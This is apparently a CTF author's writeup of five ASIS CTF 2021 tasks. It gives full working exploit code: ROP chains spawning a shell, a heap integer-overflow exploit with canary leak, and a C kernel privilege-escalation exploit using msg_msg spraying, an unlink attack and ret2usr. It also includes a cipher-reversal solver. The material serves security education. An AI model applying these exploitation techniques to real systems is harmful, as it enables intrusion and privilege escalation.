I wrote 4 pwn and 1 rev tasks for ASIS CTF 2021 Quals. This article covers the brief writeups of the tasks I made.
I'm very looking forward to reading your write-ups. (Exploit-only is okay too if you're busy!) This is why I often make some challenges :)
Funny Story:
Originally I was supposed to make 3 easy pwn tasks (justpwnit, abbr, strvec) and 1 hard rev task (beanstalk). 2 days before the CTF starts, however, the organizers told me that the another pwn author might not be able to finish writing his tasks. It was weekdays so I only had ~10 hours to write the new task. I managed to make one kernel pwnable "mininote" 1 day before the CTF. I hope there was no easy unintended solution :pray:
Challenge | Estimated Difficulty | Concept |
---|---|---|
justpwnit | warmup | saved rbp overwrite |
abbr | easy | stack pivot |
strvec | medium | integer overflow |
minimemo | hard | unlink attack, fops overwrite |
beanstalk | hard | data hiding, skipjack |
The tasks and solvers are available here:
[pwn] Just Pwn It
The vulnerability is obviously out-of-bound write.
void set_element(char **parray) { int index; printf("Index: "); if (scanf("%d%*c", &index) != 1) exit(1); if (!(parray[index] = (char*)calloc(sizeof(char), STR_SIZE))) exit(1); printf("Data: "); if (!fgets(parray[index], STR_SIZE, stdin)) exit(1); }
Since you can only write the pointer to your data, overwriting the saved rbp is a good way to pwn it. Just ROP it.
from ptrlib import * def set(index, data): sock.sendlineafter(": ", str(index)) sock.sendlineafter(": ", data) elf = ELF("../distfiles/chall") #sock = Process("./chall") sock = Socket("localhost", 9001) addr_stage2 = elf.section('.bss') + 0x800 rop_pop_rdi = 0x00401b0d rop_pop_rsi = 0x004019a3 rop_pop_rdx = 0x00403d23 rop_pop_rax = 0x00401001 rop_pop_rbp = 0x00401123 rop_leave = 0x0040123b rop_syscall = 0x00403888 # ROP to win set(-2, flat([ 0, rop_pop_rdx, 0x100, rop_pop_rsi, addr_stage2, rop_pop_rdi, 0, rop_pop_rax, SYS_read['x64'], rop_syscall, rop_pop_rbp, addr_stage2, rop_leave ], map=p64)) sock.send(flat([ u64('/bin/sh\0'), rop_pop_rdx, 0, rop_pop_rsi, 0, rop_pop_rdi, addr_stage2, rop_pop_rax, SYS_execve['x64'], rop_syscall ], map=p64)) sock.interactive()
[pwn] Abbr
The program expands the abbreviated word in our input string. The vulnerability is heap overflow and we can overwrite a function pointer easily.
The concept of this challenge is stack pivot. This technique is very useful in exploiting real-world programs but less common in CTFs in the context of heap exploitation. Another intended solution is Call Oriented Programming but it might be harder than stack pivot because of the small binary.
You can simply use xchg esp, eax
gadget because the heap address (written in eax) is 32-bit.
from ptrlib import * import os HOST = os.getenv("HOST", "0.0.0.0") PORT = os.getenv("PORT", "9001") #sock = Process("../distfiles/chall") sock = Socket(HOST, int(PORT)) rop_xchg_esp_eax = 0x00405121 rop_pop_rdi = 0x004018da rop_pop_rsi = 0x00404cfe rop_pop_rdx = 0x004017df rop_pop_rax = 0x0045a8f7 rop_syscall = 0x0041e504 rop_mov_prax20h_rsi = 0x0045d908 payload = b'faq'*158 payload += b'AAAA' payload += p64(rop_xchg_esp_eax) assert len(payload) < 0x1000 assert b'\n' not in payload sock.sendlineafter("text: ", payload) # r8, r9, ecx, ebx addr_binsh = 0x4cbf00 payload = flat([ rop_pop_rsi, u64('/bin/sh\0'), rop_pop_rax, addr_binsh - 0x20, rop_mov_prax20h_rsi, rop_pop_rdi, addr_binsh, rop_pop_rdx, 0, rop_pop_rsi, 0, rop_pop_rax, 59, rop_syscall ], map=p64) sock.sendlineafter("text: ", payload) sock.sh()
[pwn] StrVec
A challenge for "I <3 Heap" guys.
The vulnerability does not lie in get/set functions but lies in vector_new
.
vector *vector_new(int nmemb) { if (nmemb <= 0) return NULL; int size = sizeof(vector) + sizeof(void*) * nmemb; vector *vec = (vector*)malloc(size); if (!vec) return NULL; memset(vec, 0, size); vec->size = nmemb; return vec; }
If you give nmemb
a large integer, the size calculation causes integer overflow.
The length of the vector is still nmemb
so nmemb
can be larger than the actual chunk size.
The primitives you get are basically Arbitrary Address Read and Arbitrary Address Free. My exploit works by
- Leak heap address
- Leak libc address
- Leak stack address
- Leak canary
- Free stack
- Overwrite stack and ROP
Looks like some people pwned without stack, which is much harder than abusing stack. I expected this to happen and that's why I didn't set seccomp :mercy:
R.I.P
from ptrlib import * def vec_get(index): sock.sendlineafter("> ", "1") sock.sendlineafter("= ", str(index)) return sock.recvlineafter("-> ") def vec_set(index, data): sock.sendlineafter("> ", "2") sock.sendlineafter("= ", str(index)) if len(data) >= 0x20: sock.sendafter("= ", data[:0x1f]) else: sock.sendlineafter("= ", data) libc = ELF("../distfiles/libc-2.31.so") #sock = Process("../distfiles/chall") sock = Socket("localhost", 9003) # prepare sock.sendafter("Name: ", b'naruto\0\0' + p64(0x31)[:7]) sock.sendlineafter("n = ", str((0x7fffffff // 4)+1)) # leak heap vec_set(0, "\x00"*0x10) vec_set(3, p64(0)*3 + p64(0x421)) addr_heap = u64(vec_get(0)) logger.info("heap = " + hex(addr_heap)) # leak libc vec_set(1, p64(addr_heap + 0x20)) for idx in [4, 5, 6, 7, 9, 10, 11, 13, 16, 17, 18, 19, 21, 22, 23, 24, 25, 27, 28, 29]: vec_set(idx, "\x00"*0x10) vec_set(30, p64(0)*3 + p64(0x21)) vec_set(31, p64(0) + p64(0x21)) vec_set(15, "Hello") # remove fake chunk vec_set(0, p64(addr_heap + 0x50)) libc_base = u64(vec_get(13)) - libc.main_arena() - 0x60 libc.set_base(libc_base) logger.info("libc = " + hex(libc_base)) # stack leak vec_set(33, p64(libc.symbol('environ'))) addr_stack = u64(vec_get(3)) - 0x118 logger.info("stack = " + hex(addr_stack)) # canary leak vec_set(34, p64(addr_stack + 9) + p64(addr_stack) + p64(addr_heap - 0x50)) canary = u64(vec_get(19)) << 8 logger.info("canary = " + hex(canary)) # overwrite return address vec_set(20, "akagai") vec_set(0, p64(0)+p64(canary)+p64(0)+p64(libc_base + 0xe6c81)) # vec->size = 0 vec_set(21, "tsubugai") # remove tcache key vec_set(0, "mirugai") # win sock.sendlineafter("> ", "3") sock.interactive()
[pwn] Mini Memo
This is the challenge I had to write in 10 hours and I didn't check/review any unintended solutions.
The vulnerability is 4 bytes heap overflow. However, the overflowed data is the ID of the note randomly generated by the kernel module.
Because I didn't have time to check the task, there must be many ways to exploit the module. However, I believe the following intended solution is the easiest one:
- Spray
msg_msg
struct - Unlink attack to write
&top
to the message field of one of themsg_msg
struct msgrcv
to leak&top
, with which we can calculate the base address of the kernel modulemsgsnd
to restore and reset the link- Unlink attack to write
&top
tofops.open - 4
, which writes 0xffffffff to theopen
function pointer of the kernel module - Call
open
and ret2usr - Run shellcode to escalate the privilege
(You can leak the kernel base in the kernel-land shellcode.)
Exploit:
#include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <time.h> #include <pthread.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/types.h> #include <string.h> #include <sys/timerfd.h> #include <sys/socket.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/prctl.h> #include <string.h> #define CMD_NEW 0x11451401 #define CMD_EDIT 0x11451402 #define CMD_DEL 0x11451403 #define SPRAY_SIZE 0x10 typedef struct { char data[20]; int id; int size; } request_t; void fatal(const char *msg) { perror(msg); exit(1); } int fd; int new() { request_t req; return ioctl(fd, CMD_NEW, &req); } int edit(long id, int size, char *data) { request_t req = {.size = size, .id = id}; memcpy(req.data, data, size > 0x14 ? 0x14 : size); return ioctl(fd, CMD_EDIT, &req); } int del(long id) { request_t req = {.id = id}; return ioctl(fd, CMD_DEL, &req); } unsigned long user_cs, user_ss, user_rsp, user_rflags; unsigned long mbase = 0; static void win() { char buf[0x100]; puts("[+] win!"); int flagfd = open("/root/flag.txt", O_RDONLY); read(flagfd, buf, 0x100); puts(buf); exit(0); } static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) : : "memory"); } static void restore_state() { asm volatile("swapgs ;" "movq %0, 0x20(%%rsp)\t\n" "movq %1, 0x18(%%rsp)\t\n" "movq %2, 0x10(%%rsp)\t\n" "movq %3, 0x08(%%rsp)\t\n" "movq %4, 0x00(%%rsp)\t\n" "iretq" : : "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win)); } void escalate_privilege() { unsigned long kbase = *(unsigned long*)(mbase + 0x2428) - 0xeae880; char* (*pkc)(int) = (void*)(kbase + 0x709f0); void (*cc)(char*) = (void*)(kbase + 0x70860); (*cc)((*pkc)(0)); restore_state(); } void trampoline() { void (*ep)() = (void*)(0x4013bf); ep(); } int main() { save_state(); printf("%p\n", escalate_privilege); fd = open("/dev/memo", O_RDWR); if (fd == -1) fatal("/dev/memo"); /* Prepare shellcode */ char *shellcode = mmap((void*)0xfffff000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); if ((unsigned long)shellcode != 0xfffff000) fatal("mmap"); memcpy((void*)0xffffffff, trampoline, 0x1000); /* Heap spray */ int qid; if ((qid = msgget(123, 0666|IPC_CREAT)) == -1) fatal("msgget"); struct { long mtype; char mtext[0x40 - 0x30]; } msgbuf; msgbuf.mtype = 1; memset(msgbuf.mtext, '0', sizeof(msgbuf.mtext)); for (int i = 0; i < SPRAY_SIZE; i++) { if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext), 0) == -1) fatal("msgsnd"); } char payload[0x14]; memset(payload, 'B', 0x14); /* Unlink attack to leak module base */ int id[2] = {}; id[0] = new(); edit(id[0], 8, "AAAAAAAA"); do { del(id[1]); id[1] = new(); } while((id[1] & 0xff) != 0x18); // overwrite fd with 0x18 printf("del: %x\n", id[1]); edit(id[1], 0x15, payload); del(id[1]); /* Leak module base */ for (int i = 0; i < SPRAY_SIZE; i++) { if (msgrcv(qid, &msgbuf, sizeof(msgbuf.mtext), 0, 0) == -1) fatal("msgrcv"); unsigned long v = *(unsigned long*)&msgbuf.mtext[8]; if (v != 0x3030303030303030) mbase = v - 0x2100; } if (mbase == 0) { puts("[-] Bad luck!"); return 1; } printf("[+] mbase = 0x%016lx\n", mbase); /* Reset link */ *(unsigned long*)&msgbuf.mtext[0] = mbase + 0x2100; *(unsigned long*)&msgbuf.mtext[8] = mbase + 0x2100; for (int i = 0; i < SPRAY_SIZE; i++) { if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext), 0) == -1) fatal("msgsnd"); } del(0x10); /* Overwrite ioctl handler */ id[0] = -1; do { del(id[0]); id[0] = new(); } while((id[0] & 0xffff) != ((mbase + 0x204c) & 0xffff)); // overwrite fd with 0x204c printf("del: %x\n", id[0]); edit(id[0], 0x16, payload); del(id[0]); /* Win */ int x = open("/dev/memo", O_RDWR); return 0; }
[rev] Beans Talk
The original title of this challenge is "beanstalk" (botanical one) but the organizers seemed to have interpreted it as "beans talk" lol. The word "beanstalk" came from "Jack and the Beanstalk" because this program uses a modified version of "skipjack" cipher.
Anyway, the concept of this challenge is putting data into the code.
There are three (looks-like) obfuscated functions: t
, k
, and f
.
Both of them just return the pointer to each static data.
The source code looks like this:
uint8_t* __attribute__ ((noinline)) f() { uint8_t *p; __asm__ volatile(".intel_syntax noprefix;" "xor eax, eax;" ".byte 0xE8,0x30,0x00,0x00,0x00;" ".byte 0x46,0x9d,0xfa,0x32,0x51,0xe2,0x65,0xf4;" ".byte 0x80,0xc6,0xbe,0xb3,0xc6,0x6e,0x7e,0x3c;" ".byte 0x65,0xc1,0x35,0xe0,0x11,0x19,0x0d,0x86;" ".byte 0x2e,0x93,0xfe,0xea,0xd6,0x67,0xd7,0xb1;" ".byte 0xcd,0xec,0x52,0xe4,0x53,0x3e,0x3b,0xe1;" ".byte 0x0a,0xfd,0x50,0x7e,0xb4,0xf8,0xd0,0x43;" "pop rax;" "mov %0, rax;" : "=r"(p) : : "rax"); return p; }
There's no obfuscation except for this trick.
The cipher used in this program is a modified version of skipjack. Compared to the original cryptosystem, the internal state is shifted and deterministic libc rand is used instead of some constant values.
You can simply write the reverse operation of this program to find the flag.
import ctypes with open("../distfiles/beanstalk", "rb") as f: f.seek(0x24D8) table = f.read(0x100) f.seek(0x25FB) hashval = f.read(10) f.seek(0x262B) cipher = f.read(0x30) """ 1. Calculate key by hash The program checks the "hash" value of the license key. This hash value is derived from the encryption table: _hash[i] = _table[i][0x77]; This table is generated like this: for (int c = 0; c < 256; c++) { _table[i][c] = t()[c ^ key[i]]; } So, we can easily find the original key, which is necessary to decrypt the block cipher. (Modified version of skipjack) """ key = [] for i in range(10): key.append(table.index(hashval[i]) ^ 0x77) lic = 'BEAN-{:02x}{:02x}-{:02x}{:02x}{:02x}{:02x}{:02x}-{:02x}{:02x}{:02x}'\ .format( key[1], key[0], key[6], key[5], key[4], key[3], key[2], key[9], key[8], key[7] ) print("Key: " + str(list(map(hex, key)))) print("License: " + lic) """ 2. Decrypt ciphertext As we have the symmetric key, we can decrypt the ciphertext. Basically we only need to perform the reverse operation of the encryption function. Be aware it uses libc's rand function. Also, the internal state (w) of the skipjack cryptosystem is shifted. """ libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc-2.31.so") def decrypt(w, t): global cnt libc.srand(t[1][14] | (t[5][14]<<8) | (t[8][10]<<16) | (t[9][31]<<24)) randlist = [libc.rand() & 0xffff for i in range(0x20)][::-1] cnt = 0 def h(w, a, i, j, k, l): w[a] ^= t[i][w[a] >> 8] w[a] ^= t[j][w[a] & 0xff] << 8 w[a] ^= t[k][w[a] >> 8] w[a] ^= t[l][w[a] & 0xff] << 8 def h0(w, a): h(w, a, 0, 1, 2, 3) def h1(w, a): h(w, a, 4, 5, 6, 7) def h2(w, a): h(w, a, 8, 9, 0, 1) def h3(w, a): h(w, a, 2, 3, 4, 5) def h4(w, a): h(w, a, 6, 7, 8, 9) def z(w, a, b): global cnt w[a] ^= w[b] ^ randlist[cnt] cnt += 1 h1(w, 0); z(w, 1, 0); h0(w, 1); z(w, 2, 1); h4(w, 2); z(w, 3, 2); h3(w, 3); z(w, 0, 3); h2(w, 0); z(w, 1, 0); h1(w, 1); z(w, 2, 1); h0(w, 2); z(w, 3, 2); h4(w, 3); z(w, 0, 3); z(w, 3, 0); h3(w, 0); z(w, 0, 1); h2(w, 1); z(w, 1, 2); h1(w, 2); z(w, 2, 3); h0(w, 3); z(w, 3, 0); h4(w, 0); z(w, 0, 1); h3(w, 1); z(w, 1, 2); h2(w, 2); z(w, 2, 3); h1(w, 3); h0(w, 0); z(w, 1, 0); h4(w, 1); z(w, 2, 1); h3(w, 2); z(w, 3, 2); h2(w, 3); z(w, 0, 3); h1(w, 0); z(w, 1, 0); h0(w, 1); z(w, 2, 1); h4(w, 2); z(w, 3, 2); h3(w, 3); z(w, 0, 3); z(w, 3, 0); h2(w, 0); z(w, 0, 1); h1(w, 1); z(w, 1, 2); h0(w, 2); z(w, 2, 3); h4(w, 3); z(w, 3, 0); h3(w, 0); z(w, 0, 1); h2(w, 1); z(w, 1, 2); h1(w, 2); z(w, 2, 3); h0(w, 3); plain = [] for i in range(4): plain.append(w[i] >> 8) plain.append(w[i] & 0xff) return plain t = [[0 for j in range(256)] for i in range(10)] for i in range(10): for c in range(256): t[i][c] = table[c ^ key[i]] flag = '' for ofs in range(0, len(cipher), 8): blk = cipher[ofs:ofs+8] w = [blk[1]|(blk[0]<<8), blk[3]|(blk[2]<<8), blk[5]|(blk[4]<<8), blk[7]|(blk[6]<<8)] plain = decrypt(w, t) for c in plain: flag += chr(c) print("Flag: " +flag)
I didn't expect many teams solved this so fast, including my team zer0pts :clap: